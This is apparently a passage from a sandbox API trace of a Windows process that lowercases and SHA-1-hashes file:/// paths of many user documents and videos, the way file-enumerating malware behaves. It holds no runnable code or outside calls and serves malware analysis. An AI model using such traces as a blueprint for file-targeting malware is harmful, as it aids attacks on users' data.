	[0099.139] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned 0x35
	[0099.139] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0099.139] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.139] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.139] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned 0x35
	[0099.139] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.139] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls/") returned 0x36
	[0099.139] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6e, dwFlags=0x0) returned 1
	[0099.139] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.139] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.139] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned 0x58
	[0099.139] _wcslwr (in: _String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv" | out: _String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv"
	[0099.139] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.139] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned 0x58
	[0099.139] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb2, dwFlags=0x0) returned 1
	[0099.139] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.139] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.140] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned 0x58
	[0099.140] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.140] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv/") returned 0x59
	[0099.140] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb4, dwFlags=0x0) returned 1
	[0099.140] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.140] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.140] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned 0x46
	[0099.140] _wcslwr (in: _String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps" | out: _String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps"
	[0099.140] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.140] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8e, dwFlags=0x0) returned 1
	[0099.140] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.140] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.140] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.140] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x90, dwFlags=0x0) returned 1
	[0099.140] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.141] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.141] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.141] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xa6, dwFlags=0x0) returned 1
	[0099.141] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.141] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.141] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.141] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xa8, dwFlags=0x0) returned 1
	[0099.141] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.141] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.142] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.142] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x84, dwFlags=0x0) returned 1
	[0099.142] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.142] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.142] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.142] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x86, dwFlags=0x0) returned 1
	[0099.142] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.142] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.142] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.142] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0099.142] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.143] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.143] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.143] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7c, dwFlags=0x0) returned 1
	[0099.143] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.143] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.143] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.143] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x98, dwFlags=0x0) returned 1
	[0099.143] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.143] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.144] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.144] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x9a, dwFlags=0x0) returned 1
	[0099.144] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.144] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.144] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.144] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x9c, dwFlags=0x0) returned 1
	[0099.144] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.144] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.144] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.145] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x9e, dwFlags=0x0) returned 1
	[0099.145] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.145] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.145] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.145] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0099.145] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.145] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.145] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.145] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7c, dwFlags=0x0) returned 1
	[0099.145] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.146] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.146] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.146] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.146] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.146] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.146] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.146] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.146] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.146] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.147] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.147] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0099.147] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.147] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.147] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.147] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.147] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.147] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.147] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.147] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.147] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.148] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.148] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.148] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0099.148] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.148] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.148] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.148] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0099.148] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.148] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.149] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.149] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0099.149] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.149] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.149] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.149] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6e, dwFlags=0x0) returned 1
	[0099.149] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.149] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.149] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.149] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0099.150] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.150] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.150] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.150] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xbc, dwFlags=0x0) returned 1
	[0099.150] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.150] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.150] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.150] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xbe, dwFlags=0x0) returned 1
	[0099.150] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.151] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.151] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.151] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0099.151] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.151] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.151] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.151] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.151] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.151] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.151] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.152] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.152] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.152] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.152] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.152] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0099.152] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.152] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.152] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.152] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x96, dwFlags=0x0) returned 1
	[0099.152] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.225] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.225] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.225] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x98, dwFlags=0x0) returned 1
	[0099.225] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.225] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.225] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.226] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x56, dwFlags=0x0) returned 1
	[0099.226] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.226] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.226] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.226] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x58, dwFlags=0x0) returned 1
	[0099.226] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.226] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.226] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.226] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0099.226] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.227] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.227] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.227] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0099.227] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.227] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.227] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.227] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.227] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.228] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.228] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.228] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0099.228] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.228] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.228] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.228] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x66, dwFlags=0x0) returned 1
	[0099.228] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.229] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.229] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.229] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.229] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.229] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.229] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.229] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x86, dwFlags=0x0) returned 1
	[0099.229] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.229] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.230] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.230] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x88, dwFlags=0x0) returned 1
	[0099.230] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.230] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.230] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.230] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8a, dwFlags=0x0) returned 1
	[0099.230] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.230] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.230] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.230] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8c, dwFlags=0x0) returned 1
	[0099.278] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.278] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.278] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.279] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x94, dwFlags=0x0) returned 1
